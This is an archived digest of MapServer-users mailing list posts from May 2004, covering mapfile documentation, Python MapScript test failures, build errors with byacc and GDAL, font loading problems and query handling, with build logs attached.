*** *************************************** From eduardo at consultoria.eti.br Wed May 19 05:19:53 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Wed, 19 May 2004 09:19:53 -0300 Subject: [Mapserver-users] MapFile reference latest docs? Message-ID: <40AB50E9.8020306@consultoria.eti.br> Does http://mapserver.gis.umn.edu/doc40/mapfile-reference.html document list all kind of objects that a MapFile supports? I mean, I was wondering if is there any MapFile object that is not currently documented... and if YES, what will be the best the way to get more information about it: looking inside MapServer C sources? browsing MapServer-DEV list archives? thanks in advance -- Eduardo Patto Kanegae http://www.consultoria.eti.br ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## *************************************** ***Fim da Mensagem / End of Message *** *************************************** From jschuengel at intevation.de Wed May 19 05:35:09 2004 From: jschuengel at intevation.de (=?ISO-8859-1?Q?Jan_Sch=FCngel?=) Date: Wed, 19 May 2004 14:35:09 +0200 Subject: [Mapserver-users] Python MapScript Tests Problems ("segmentation fault") In-Reply-To: <40AB49C3.70008@webgis.de> References: <40AB3D4A.8000209@intevation.de> <40AB49C3.70008@webgis.de> Message-ID: <40AB547D.6070903@intevation.de> Hi Michael i use MapServer 4.2beta2 with python 2.3, gdal 1.2.0, gd 1.8.3-2 at the moment i upgrade debian sarge to get the newest lib files. i hope that it will solve my problem. If i run the test without the two tests, i get only 1 fail, that shoud be and 1 error in testShapeCopy (need 2 Arguments, only 1 given) Michael Schulz schrieb: > Hi Jan, > > which version of mapserver are you trying? The latest tests i ran with > python mapscript are of version 4.2beta2 and had no segmentation > faults, only: > FAILED (failures=2, errors=1), ERROR: testShapeCopy > > This is with gd-2.0.21, gdal 1.2.0, python 2.1.3. > > Cheers, Michael > > > Jan Sch?ngel schrieb: > >> Hi, >> >> i have severall problems by testing the Python MapScript. >> Installing and working is fine, but during the Tests i get a >> >> "segmentation fault" >> >> in Funktions: >> >> testAppendNewOutputFormat >> OutputFormatConstructor >> >> on the Line: >> new_format = mapscript.outputFormatObj('GDAL/GTiff', 'gtiff') >> >> i think that the problem is with gdal, but i don't find any solution. >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > From dmorissette at dmsolutions.ca Wed May 19 05:55:29 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 19 May 2004 08:55:29 -0400 Subject: [Mapserver-users] Any way to have the extent set to the MBR of a layer? In-Reply-To: <1FB6937A87F9074C9A2B8F9D9137EB16140C0A@COMAIL01.digitalglobe.com> References: <1FB6937A87F9074C9A2B8F9D9137EB16140C0A@COMAIL01.digitalglobe.com> Message-ID: <40AB5941.7040608@dmsolutions.ca> Ethan Alpert wrote: > > Just curious if there's a way to default the mapext's to be the MBR for > a given layer. > There is no way to do it out of the box, but you can write a function to do it using MapScript. This function could either scan the layer to compute the extents or read the extent value from metadata that would be previously set in the mapfile. -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From casej at ccom.unh.edu Wed May 19 05:57:23 2004 From: casej at ccom.unh.edu (James Case) Date: Wed, 19 May 2004 08:57:23 -0400 Subject: [Mapserver-users] byacc usage breaking mapparser.c Message-ID: <200405191257.i4JCvS3O025366@ccom.unh.edu> This is a multi-part message in MIME format. ------=_NextPart_000_001C_01C43D7F.4D3D2410 Content-Type: multipart/alternative; boundary="----=_NextPart_001_001D_01C43D7F.4D3D2410" ------=_NextPart_001_001D_01C43D7F.4D3D2410 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit I was just trying to compile the nightly build and there seems to be a usage problem with byacc. I've attached both the "configure" and "make" dumps. ShuttleX P4, 2GB Trustix 2.1 Apache 2.0.49 PHP 4.3.4 Any ideas? -JC ------=_NextPart_001_001D_01C43D7F.4D3D2410 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

I was just trying to compile the nightly build and = there seems to be a usage problem with byacc.  I’ve attached both = the “configure” and “make” dumps.

 

ShuttleX P4, 2GB

Trustix 2.1

Apache 2.0.49

PHP 4.3.4

 

Any ideas? -JC

 

------=_NextPart_001_001D_01C43D7F.4D3D2410-- ------=_NextPart_000_001C_01C43D7F.4D3D2410 Content-Type: application/octet-stream; name="mapserver_dev.make.debug" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="mapserver_dev.make.debug" gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_TIFF = -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT = -I/usr/local//include maptemplate.c -o maptemplate.o=0A= gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_TIFF = -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT = -I/usr/local//include mapbits.c -o mapbits.o=0A= gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_TIFF = -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT = -I/usr/local//include maphash.c -o maphash.o=0A= gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_TIFF = -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT = -I/usr/local//include mapshape.c -o mapshape.o=0A= gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_TIFF = -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT = -I/usr/local//include mapxbase.c -o mapxbase.o=0A= byacc -p msyy -d -omapparser.c mapparser.y=0A= usage: byacc [-dlrtv] [-b file_prefix] [-p symbol_prefix] filename=0A= make: *** [mapparser.c] Error 1=0A= ------=_NextPart_000_001C_01C43D7F.4D3D2410 Content-Type: application/octet-stream; name="mapserver_dev.configure.debug" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="mapserver_dev.configure.debug" checking for gcc... gcc=0A= checking for C compiler default output... a.out=0A= checking whether the C compiler works... yes=0A= checking whether we are cross compiling... no=0A= checking for suffix of executables... =0A= checking for suffix of object files... o=0A= checking whether we are using the GNU C compiler... yes=0A= checking whether gcc accepts -g... yes=0A= checking for gcc option to accept ANSI C... none needed=0A= checking for g++... g++=0A= checking whether we are using the GNU C++ compiler... yes=0A= checking whether g++ accepts -g... yes=0A= checking for ranlib... ranlib=0A= checking for flex... no=0A= checking for lex... no=0A= checking for yywrap in -lfl... no=0A= checking for yywrap in -ll... no=0A= checking for bison... no=0A= checking for byacc... byacc=0A= checking if compiler supports -R... no=0A= checking if compiler supports -Wl,-rpath,... yes=0A= checking for exp in -lm... yes=0A= checking for __gxx_personality_v0 in -lstdc++... yes=0A= checking how to run the C preprocessor... gcc -E=0A= checking for egrep... grep -E=0A= checking for ANSI C header files... yes=0A= checking for strcasecmp... yes=0A= checking for strncasecmp... yes=0A= checking for strdup... yes=0A= configure: checking where FreeType 2.x is installed......=0A= checking for FT_Init_FreeType in -lfreetype... yes=0A= using libfreetype -lfreetype from system libs.=0A= configure: checking where Zlib is installed......=0A= checking for zlibVersion in -lz... yes=0A= using libz from system libs.=0A= configure: checking where PNG is installed......=0A= checking for png_init_io in -lpng... yes=0A= using libpng from system libs.=0A= configure: checking whether we should include JPEG support......=0A= checking for jpeg_read_header in -ljpeg... yes=0A= using libjpeg from system libs.=0A= configure: checking where libXpm is installed......=0A= checking for XpmFreeXpmImage in -lXpm... no=0A= XPM (libXpm) library cannot be found, possibly needed for GD=0A= configure: checking where libiconv is installed......=0A= checking for libiconv_open in -liconv... no=0A= libiconv library cannot be found, possibly needed for GD=0A= configure: checking for GD 2.0.12 or higher......=0A= checking for gdImageSetAntiAliased in -lgd... yes=0A= using libgd 2.0.12 (or higher) from system libs (-L/usr/lib -lgd = -ljpeg -lfreetype -lpng -lz ).=0A= checking for gdImageCreate in -lgd... yes=0A= checking for gdImageGif in -lgd... no=0A= checking for gdImagePng in -lgd... no=0A= checking for gdImageJpeg in -lgd... no=0A= checking for gdImageWBMP in -lgd... yes=0A= checking for gdImageStringFT in -lgd... yes=0A= checking for gdImageGifPtr in -lgd... no=0A= using GD ( -DUSE_GD_WBMP -DUSE_GD_FT) from system libs.=0A= configure: checking whether we should include PDF support......=0A= checking for PDF_setlinewidth in -lpdf... no=0A= checking for PDF_setrgbcolor in -lpdf... no=0A= checking for PDF_moveto in -lpdf... no=0A= checking for PDF_curveto in -lpdf... no=0A= checking for PDF_show_xy in -lpdf... no=0A= libpdf not found... PDF support not included.=0A= configure: checking whether we should include EPPL7 support......=0A= including EPPL7 support.=0A= configure: checking whether we should include PROJ.4 support......=0A= PROJ.4 support not requested.=0A= configure: checking whether we should include thread safe support......=0A= thread safe support disabled.=0A= configure: checking whether we should include ESRI SDE support......=0A= ESRI SDE support not requested.=0A= configure: checking whether we should compile in MPATROL support......=0A= MPATROL support not requested.=0A= configure: checking whether we should include OGR support......=0A= OGR support not requested.=0A= checking if GDAL support requested... no=0A= checking checking ms JPEG output... yes, GDAL is not available but = libjpeg is.=0A= configure: checking whether we should include TIFF support......=0A= checking for TIFFOpen in -ltiff... yes=0A= using libtiff from system libs.=0A= checking if PostGIS support requested... no=0A= checking if MyGIS support requested... no=0A= checking if OracleSpatial support requested... no=0A= checking if MING/Flash support requested... no=0A= configure: checking whether we should include WMS Server support......=0A= OGC WMS Compatibility not enabled (PROJ.4 is required for WMS).=0A= configure: checking whether we should include WFS Server support......=0A= OGC WFS Server support not requested.=0A= configure: checking whether we should include WCS Server support......=0A= OGC WCS Server support not requested.=0A= configure: checking whether we should include WMS Client Connections = support......=0A= OGC WMS Client Connections not enabled (PROJ.4 and libcurl = required).=0A= configure: checking whether we should include WFS Client Connections = support......=0A= OGC WFS Client Connections not enabled (PROJ.4, libcurl and OGR = required).=0A= configure: checking for curl-config...=0A= configure: checking HTTPD server (Apache) version...=0A= checking for httpd... /usr/sbin/httpd=0A= /usr/sbin/httpd version is Apache/2.0.49 (2000049).=0A= Compiling with -DIGNORE_MISSING_DATA.=0A= configure: checking whether we should enable debug features......=0A= configure: checking for PHP/MapScript module options......=0A= PHP/MapScript module not configured.=0A= configure: creating ./config.status=0A= config.status: creating Makefile=0A= ------=_NextPart_000_001C_01C43D7F.4D3D2410-- From plazzotta at tiscalinet.it Wed May 19 06:07:56 2004 From: plazzotta at tiscalinet.it (Giorgio Plazzotta) Date: Wed, 19 May 2004 15:07:56 +0200 Subject: [Mapserver-users] Problems with version 4 and fonts Message-ID: <00bd01c43da2$4dcaa920$3f44a8c0@GIS05> Hi all, in my test environment, using a the precompiled Windows version 3.6 of Mapserver the mapfile that i include in the bottom of this message was working. When i installed the new precompiled version 4.0.1 (and also 4.0.2) the same mapfile didn't work anymore giving the following error messages: Warning: [MapServer Error]: msGetLabelSize(): Could not find/open font in c:\programmi\apache group\apache\htdocs\test\mapObj.php on line 185 and Warning: [MapServer Error]: msAddImageSymbol(): Error opening image file c:\programmi\apache group\apache\htdocs\test/scalebar. in c:\programmi\apache group\apache\htdocs\test\mapObj.php on line 185 If i eliminate (in the mapfile) the layer that refers to a truetype font the error messages are not shown anymore and this make me think that the problem is related to the use of the truetype fonts. it's strange that everything was working in the 3.6 release and not anymore with the newer versions. I cannot compile a new windows environment by myself so to test if changiong the release of one of the mapserver additional components could solve the problem. i also tried to upgrade the versions of php (4.3.3 & 4.3.6). maybe some of you have an idea of this problems. thanx in advance Giorgio Plazzotta Sarasr Ricerche Assemini (CA) - Italy the mapfile NAME DEMO STATUS ON #SIZE 600 350 SYMBOLSET ./etc/symbols.sym EXTENT -2200000 -712631 3072800 3840000 UNITS METERS SHAPEPATH "./data" IMAGECOLOR 255 255 255 FONTSET ./etc/fonts.txt ........ ........ ..... LAYER GROUP "tore" NAME popplace METADATA "DESCRIPTION" "Cities" "RESULT_FIELDS" "NAME" END TYPE POINT STATUS ON DATA popplace LabelItem "Name" #MINSCALE 12500000 #MAXSCALE 50000000 CLASSITEM "Capital" CLASS EXPRESSION "1" TEMPLATE "ttt_query.html" SYMBOL 2 SIZE 8 NAME "Cities" LABEL COLOR 255 0 0 FONT fritqat-italic TYPE truetype SIZE 8 POSITION AUTO PARTIALS FALSE OUTLINECOLOR 255 255 255 END COLOR 0 0 0 END ...... ...... it continues but the problem is in the FONT reference in this layer From woodbri at swoodbridge.com Wed May 19 06:09:01 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Wed, 19 May 2004 09:09:01 -0400 Subject: [Mapserver-users] How can I get the query info programatically? In-Reply-To: <7c576f7ca8af.7ca8af7c576f@nyroc.rr.com> References: <7c576f7ca8af.7ca8af7c576f@nyroc.rr.com> Message-ID: <40AB5C6D.8070302@swoodbridge.com> Mapserver already supports two types of query operations: 1) itemquery that allow you to search DBF records for attribute match(s) and returns the spatial objects, 2) spatial queries based on point and tolerance (radius) or a bounding box and will return the closest object or multiple objects depending on the query options. If you want to invent your own that is fine, but mapserver already supports a lot of this functionality. You need to build a simple test case and get it working. Make a one polygon layer and write a mapfile and a mapscript application that takes a lat/lon and does a point query and lists out the polygon info that it hit. This is relatively simple and straight forward but the documentation on how to do this is a little lacking in the "HowTo" department. I'm sure people will help with specific problems you run into. You should be able to get the basic idea if you read through the wiki examples and read the mapscript docs. Make sure your LAYER ... END in your mapfile has a TEMPLATE "dummy" tag or you will never get any results. -Steve phatsbbnlist at twcny.rr.com wrote: > I haven't gotten this far yet, but I have thought about it. If you have the proper db drivers for your scripting tools, couldn't you save the parameters you insert into variables from the form and map choices (that drive the queries) into prepared sql statements to derive the info? e.g. your user clicks on a location, which the web server knows in image coordinates and converts to map coordinates after you pass them along. The map and scale should be known, the points can be calculated and a query of the dbf files should retrieve the data from individual layers that match. This sounds simplistic, but I don't see apriori why it should fail miserably. > ----- Original Message ----- > From: Stephen Woodbridge > Date: Tuesday, May 18, 2004 8:31 pm > Subject: Re: [Mapserver-users] How can I get the query info programatically? > > >>Ethan, >> >>THere are ac bunch of Query examples at >>http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PerlMapScriptExamples35 >>for mapserver 3.5 but on the bottom is an example mapserver 4.2. >>Look at >>the quake.pl I think that does some query stuff. >> >>I also check the archives, because this has been asked before. I >>thought >>there was a straight forward query example, but I can't seem to >>locate >>the one I was thinking of. Once you get your example worked out >>you >>might want to post it to the wiki for others. >> >>-Steve >> >>Ethan Alpert wrote: >> >> >>>Any chance you can be more specific? I've been to the docs >> >>several times >> >>>looking for how to do this and I'm not finding what I'm looking for. >>> >>>I need to access information about items that were selected with a >>>query. >>> >>>-e >>> >>>-----Original Message----- >>>From: Stephen Woodbridge [woodbri at swoodbridge.com] >>>Sent: Tuesday, May 18, 2004 5:39 PM >>>To: Ethan Alpert >>>Cc: mapserver-users at lists.gis.umn.edu >>>Subject: Re: [Mapserver-users] How can I get the query info >>>programatically? >>> >>> >>>Yes, and there are examples. See >>> >>>http://mapserver.gis.umn.edu/doc.html >>>http://mapserver.gis.umn.edu/cgi-bin/wiki.pl >>> >>>-Steve >>> >>>Ethan Alpert wrote: >>> >>> >>> >>>>I'd like to get the information of the items selected in a >> >>query. The >> >>>>template approach isn't quite what I'm looking for. Is there a >> >>way to >> >>>>extract this info with perl (or php) mapscript? >>>> >>>>-e >>>> >>>>_______________________________________________ >>>>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu >>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>>> >>> >>> >>> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > > > From jmckenna at dmsolutions.ca Wed May 19 06:35:54 2004 From: jmckenna at dmsolutions.ca (Jeff McKenna) Date: Wed, 19 May 2004 09:35:54 -0400 Subject: [Mapserver-users] MapFile reference latest docs? References: <40AB50E9.8020306@consultoria.eti.br> Message-ID: <40AB62BA.7040100@dmsolutions.ca> Hello, The latest mapfile reference doc can be found at http://mapserver.gis.umn.edu/doc/mapfile-reference.html . The GRID object was recently added to it, and as far as I know all objects are included. jeff Eduardo Patto Kanegae wrote: > Does http://mapserver.gis.umn.edu/doc40/mapfile-reference.html document > list all kind of objects that a MapFile supports? > > I mean, I was wondering if is there any MapFile object that is not > currently documented... and if YES, what will be the best the way to get > more information about it: looking inside MapServer C sources? browsing > MapServer-DEV list archives? > > thanks in advance > -- Jeff McKenna GIS Specialist DM Solutions Group Inc. http://www.dmsolutions.ca From sgillies at frii.com Wed May 19 06:47:40 2004 From: sgillies at frii.com (Sean Gillies) Date: Wed, 19 May 2004 07:47:40 -0600 Subject: [Mapserver-users] MapScript Tests: Argument Error in testShapeCopy In-Reply-To: <40AB3E33.6010807@intevation.de> References: <40AB3E33.6010807@intevation.de> Message-ID: <18D0E599-A99B-11D8-9E4A-000D9329D732@frii.com> On May 19, 2004, at 5:00 AM, Jan Sch?ngel wrote: > Hi > > during the Test i get the following error: > > ERROR: testShapeCopy (__main__.ShapePointTestCase) > ---------------------------------------------------------------------- > Traceback (most recent call last): > File "tests/testMapScript.py", line 704, in testShapeCopy > s = self.copyShape(self.shape) > File "tests/testMapScript.py", line 682, in copyShape > return shape.copy() > File "build/lib.linux-i686-2.3/mapscript.py", line 211, in copy > def copy(*args): return apply(_mapscript.shapeObj_copy,args) > TypeError: shapeObj_copy() takes exactly 2 arguments (1 given) > r: > > is the test wrong or whats the problem here ?? Jan, I think I have written the test improperly. I am not seeing problems because I am using the next generation API. Starting on line 677 of the test script, the ShapeObjTestCase should be changed to class ShapeObjTestCase(MapPrimitivesTestCase): """Base class for shapeObj tests""" def copyShape(self, shape): """Try to copy using next generation API, else fall back to standard API""" try: return shape.copy() except TypeError: s = mapscript.shapeObj(shape.type) shape.copy(s) return s except: raise Please reply when you try this and I'll make sure the change gets into the final 4.2 release. cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From laurent.pierre at edf.fr Wed May 19 06:50:15 2004 From: laurent.pierre at edf.fr (Laurent PIERRE) Date: Wed, 19 May 2004 15:50:15 +0200 Subject: [Mapserver-users] compilation Message-ID: <40AB6617.8040905@edf.fr> Hi, I am trying to compile Mapserver on Solaris and I have the message : undefined reference to '__gxx_prsonality_v0' when creating shp2img. I added '-lstdc++' in the makefile with no success ... Is this problem talking to somebody ? Thanks Laurent PIERRE EDF From sgillies at frii.com Wed May 19 06:54:35 2004 From: sgillies at frii.com (Sean Gillies) Date: Wed, 19 May 2004 07:54:35 -0600 Subject: [Mapserver-users] Python MapScript Tests Problems ("segmentation fault") In-Reply-To: <40AB547D.6070903@intevation.de> References: <40AB3D4A.8000209@intevation.de> <40AB49C3.70008@webgis.de> <40AB547D.6070903@intevation.de> Message-ID: <10047FBE-A99C-11D8-9E4A-000D9329D732@frii.com> Jan, The tests of appending new output formats will fail unless you are linking MapServer and mapscript to GDAL. This is because we are attempting to create a new GeoTIFF output format. Since the GD formats are already built into MapServer, we can't test adding a GD format. If you *are* linking to GDAL and the tests continue to fail, I would like to hear more. I see you are using GD 1.8! You should upgrade to the latest stable (at least 2.0.15+) immediately to take advantage of newer features and GD+Freetype bug fixes. cheers, Sean On May 19, 2004, at 6:35 AM, Jan Sch?ngel wrote: > Hi Michael > > i use MapServer 4.2beta2 with python 2.3, gdal 1.2.0, gd 1.8.3-2 > > at the moment i upgrade debian sarge to get the newest lib files. > i hope that it will solve my problem. > > If i run the test without the two tests, i get only 1 fail, that shoud > be > and 1 error in testShapeCopy (need 2 Arguments, only 1 given) > > Michael Schulz schrieb: > >> Hi Jan, >> >> which version of mapserver are you trying? The latest tests i ran >> with python mapscript are of version 4.2beta2 and had no segmentation >> faults, only: >> FAILED (failures=2, errors=1), ERROR: testShapeCopy >> >> This is with gd-2.0.21, gdal 1.2.0, python 2.1.3. >> >> Cheers, Michael >> >> >> Jan Sch?ngel schrieb: >> >>> Hi, >>> >>> i have severall problems by testing the Python MapScript. >>> Installing and working is fine, but during the Tests i get a >>> >>> "segmentation fault" >>> >>> in Funktions: >>> >>> testAppendNewOutputFormat >>> OutputFormatConstructor >>> >>> on the Line: >>> new_format = mapscript.outputFormatObj('GDAL/GTiff', 'gtiff') >>> >>> i think that the problem is with gdal, but i don't find any solution. >>> From jschuengel at intevation.de Wed May 19 06:57:14 2004 From: jschuengel at intevation.de (=?ISO-8859-1?Q?Jan_Sch=FCngel?=) Date: Wed, 19 May 2004 15:57:14 +0200 Subject: [Mapserver-users] MapScript Tests: Argument Error in testShapeCopy In-Reply-To: <18D0E599-A99B-11D8-9E4A-000D9329D732@frii.com> References: <40AB3E33.6010807@intevation.de> <18D0E599-A99B-11D8-9E4A-000D9329D732@frii.com> Message-ID: <40AB67BA.2060302@intevation.de> Sean Gillies schrieb: > On May 19, 2004, at 5:00 AM, Jan Sch?ngel wrote: > >> Hi >> >> during the Test i get the following error: >> >> ERROR: testShapeCopy (__main__.ShapePointTestCase) >> ---------------------------------------------------------------------- >> Traceback (most recent call last): >> File "tests/testMapScript.py", line 704, in testShapeCopy >> s = self.copyShape(self.shape) >> File "tests/testMapScript.py", line 682, in copyShape >> return shape.copy() >> File "build/lib.linux-i686-2.3/mapscript.py", line 211, in copy >> def copy(*args): return apply(_mapscript.shapeObj_copy,args) >> TypeError: shapeObj_copy() takes exactly 2 arguments (1 given) >> r: >> >> is the test wrong or whats the problem here ?? > > > Jan, > > I think I have written the test improperly. I am not seeing problems > because I am using the next generation API. Starting on line 677 of > the test script, the ShapeObjTestCase should be changed to > > class ShapeObjTestCase(MapPrimitivesTestCase): > """Base class for shapeObj tests""" > > def copyShape(self, shape): > """Try to copy using next generation API, else fall back to > standard API""" > try: > return shape.copy() > except TypeError: > s = mapscript.shapeObj(shape.type) > shape.copy(s) > return s > except: > raise > > Please reply when you try this and I'll make sure the change gets > into the final 4.2 release. > > cheers, > Sean > > -- > Sean Gillies > sgillies at frii dot com > http://users.frii.com/sgillies > Hi the version works fine Jan From rriley at rolandoriley.com Wed May 19 07:01:39 2004 From: rriley at rolandoriley.com (Rolando Riley) Date: Wed, 19 May 2004 09:01:39 -0500 Subject: [Mapserver-users] Mapserver 4.0.1 Debian Package for Debian Woody Message-ID: Hi, I found a post of Paul Baker that has a very straigth forward install of Mapserver under Debian on this link. http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00078.html Anybody knows if there is a Debian package that "includes" support for PHP MAPSCRIPT? This support is missing on this binaries. best regards, R. Riley From jschuengel at intevation.de Wed May 19 07:21:42 2004 From: jschuengel at intevation.de (=?ISO-8859-1?Q?Jan_Sch=FCngel?=) Date: Wed, 19 May 2004 16:21:42 +0200 Subject: [Mapserver-users] Python MapScript Tests Problems ("segmentation fault") In-Reply-To: <10047FBE-A99C-11D8-9E4A-000D9329D732@frii.com> References: <40AB3D4A.8000209@intevation.de> <40AB49C3.70008@webgis.de> <40AB547D.6070903@intevation.de> <10047FBE-A99C-11D8-9E4A-000D9329D732@frii.com> Message-ID: <40AB6D76.6080208@intevation.de> hi, now i hab gdal support build in. i creat the Mapserver this way: ./configure --with-proj --with-gdal. make so all works fine. than mapscript python setup.py build python setup.py install but wit gdal support the import of mapscript dont work i get the new error : Python 2.3.3 (#2, May 1 2004, 06:12:12) [GCC 3.3.3 (Debian 20040401)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import mapscript Traceback (most recent call last): File "", line 1, in ? File "mapscript.py", line 4, in ? import _mapscript ImportError: /usr/lib/python2.3/site-packages/_mapscript.so: undefined symbol: CPLFreeConfig >>> without gdal support everything works find here, but i need gdal support. Jan Sean Gillies schrieb: > Jan, > > The tests of appending new output formats will fail unless you > are linking MapServer and mapscript to GDAL. This is because we > are attempting to create a new GeoTIFF output format. Since the > GD formats are already built into MapServer, we can't test adding > a GD format. > > If you *are* linking to GDAL and the tests continue to fail, I > would like to hear more. > > I see you are using GD 1.8! You should upgrade to the latest > stable (at least 2.0.15+) immediately to take advantage of newer > features and GD+Freetype bug fixes. > > cheers, > Sean > > On May 19, 2004, at 6:35 AM, Jan Sch?ngel wrote: > >> Hi Michael >> >> i use MapServer 4.2beta2 with python 2.3, gdal 1.2.0, gd 1.8.3-2 >> >> at the moment i upgrade debian sarge to get the newest lib files. >> i hope that it will solve my problem. >> >> If i run the test without the two tests, i get only 1 fail, that >> shoud be >> and 1 error in testShapeCopy (need 2 Arguments, only 1 given) >> >> Michael Schulz schrieb: >> >>> Hi Jan, >>> >>> which version of mapserver are you trying? The latest tests i ran >>> with python mapscript are of version 4.2beta2 and had no >>> segmentation faults, only: >>> FAILED (failures=2, errors=1), ERROR: testShapeCopy >>> >>> This is with gd-2.0.21, gdal 1.2.0, python 2.1.3. >>> >>> Cheers, Michael >>> >>> >>> Jan Sch?ngel schrieb: >>> >>>> Hi, >>>> >>>> i have severall problems by testing the Python MapScript. >>>> Installing and working is fine, but during the Tests i get a >>>> >>>> "segmentation fault" >>>> >>>> in Funktions: >>>> >>>> testAppendNewOutputFormat >>>> OutputFormatConstructor >>>> >>>> on the Line: >>>> new_format = mapscript.outputFormatObj('GDAL/GTiff', 'gtiff') >>>> >>>> i think that the problem is with gdal, but i don't find any solution. >>>> > > From sgillies at frii.com Wed May 19 07:28:43 2004 From: sgillies at frii.com (Sean Gillies) Date: Wed, 19 May 2004 08:28:43 -0600 Subject: [Mapserver-users] Python MapScript Tests Problems ("segmentation fault") In-Reply-To: <40AB6D76.6080208@intevation.de> References: <40AB3D4A.8000209@intevation.de> <40AB49C3.70008@webgis.de> <40AB547D.6070903@intevation.de> <10047FBE-A99C-11D8-9E4A-000D9329D732@frii.com> <40AB6D76.6080208@intevation.de> Message-ID: Jan, Did you run the tests after the build step? Did you see an ImportError at that time? I suspect that the libgdal.so is not in your library path. Did you install it after making? Sean On May 19, 2004, at 8:21 AM, Jan Sch?ngel wrote: > hi, > > now i hab gdal support build in. > i creat the Mapserver this way: > > ../configure --with-proj --with-gdal. > make > > so all works fine. > than mapscript > > python setup.py build > python setup.py install > > but wit gdal support the import of mapscript dont work > i get the new error : > > Python 2.3.3 (#2, May 1 2004, 06:12:12) > [GCC 3.3.3 (Debian 20040401)] on linux2 > Type "help", "copyright", "credits" or "license" for more information. > >>> import mapscript > Traceback (most recent call last): > File "", line 1, in ? > File "mapscript.py", line 4, in ? > import _mapscript > ImportError: /usr/lib/python2.3/site-packages/_mapscript.so: undefined > symbol: CPLFreeConfig > >>> > > without gdal support everything works find here, but i need gdal > support. > > Jan > From skoehler at buschjena.de Wed May 19 08:16:23 2004 From: skoehler at buschjena.de (skoehler at buschjena.de) Date: Wed, 19 May 2004 17:16:23 +0200 Subject: [Mapserver-users] error parsing symbolset Message-ID: Dies ist eine mehrteilige Nachricht im MIME-Format. --=_alternative 0053F63CC1256E99_= Content-Type: text/plain; charset="US-ASCII" Hi, I have an description of an map into a database. Now I will create an extra picture for every layer. For one layer ist works! But when I use an loop over all layers I get an error after four or five layers. The error is Warning: [MapServer Error]: msLoadSymbolSet(): Parsing error near (S):(line 0) in /var/www/html/jw/map_funcs.php on line 98 Fatal error: Failed loading symbolset from /var/www/html/jweb/mapdata/symbol/symbolset in /var/www/html/jw/map_funcs.php on line 98 What I do in the loop is the following: - creating a new map-object - adding the active layer - drawing the layer-picture I have no idea. Thanks for every hint. bye Steffen --=_alternative 0053F63CC1256E99_= Content-Type: text/html; charset="US-ASCII"
Hi,

I have an description of an map into a database. Now I will create an extra picture for every layer. For one layer ist works! But when I use an loop over all layers I get an error
after four or five layers. The error is

Warning: [MapServer Error]: msLoadSymbolSet(): Parsing error near (S):(line 0) in /var/www/html/jw/map_funcs.php on line 98
Fatal error: Failed loading symbolset from /var/www/html/jweb/mapdata/symbol/symbolset in /var/www/html/jw/map_funcs.php on line 98


What I do in the loop is the following:
- creating a new map-object
- adding the active layer
- drawing the layer-picture

I have no idea. Thanks for every hint.

bye
Steffen --=_alternative 0053F63CC1256E99_=-- From ealpert at digitalglobe.com Wed May 19 08:20:39 2004 From: ealpert at digitalglobe.com (Ethan Alpert) Date: Wed, 19 May 2004 09:20:39 -0600 Subject: [Mapserver-users] How can I get the query info programatically? Message-ID: <1FB6937A87F9074C9A2B8F9D9137EB16140C0E@COMAIL01.digitalglobe.com> Ok I see how this is done it a perl script but this doesn't match how I'm currently using mapserv. Perhaps I wasn't clear in my original question. I have a LAYER defined using TEMPLATE, HEADER, FOOTER. Theses are used to display spatial query results which are driven by dbox selections. The problem for me is I'd like to do more inteligent things with the results of the query but appear to be limited to HTML and client side JAVASCRIPT because the content type of the output from TEMPLATE,HEADER,FOOTER is html. I'd like to use php or perl in the page to grab more information from my DB's to display based on the query results. Does this make sense? Is there an alternative to using TEMPLATE,HEADER, FOOTER in my mapfiles? Is it possible for TEMPLATE,HEADER,FOOTER to be php files? I may be mistaken but I've been unable to find answers. Also how does one search the archives by keyword? The mailman interface displays only by date which doesn't make searching very practical. -e -----Original Message----- From: Stephen Woodbridge [mailto:woodbri at swoodbridge.com] Sent: Tuesday, May 18, 2004 6:32 PM To: Ethan Alpert; MapServer List Subject: Re: [Mapserver-users] How can I get the query info programatically? Ethan, THere are ac bunch of Query examples at http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PerlMapScriptExamples35 for mapserver 3.5 but on the bottom is an example mapserver 4.2. Look at the quake.pl I think that does some query stuff. I also check the archives, because this has been asked before. I thought there was a straight forward query example, but I can't seem to locate the one I was thinking of. Once you get your example worked out you might want to post it to the wiki for others. -Steve Ethan 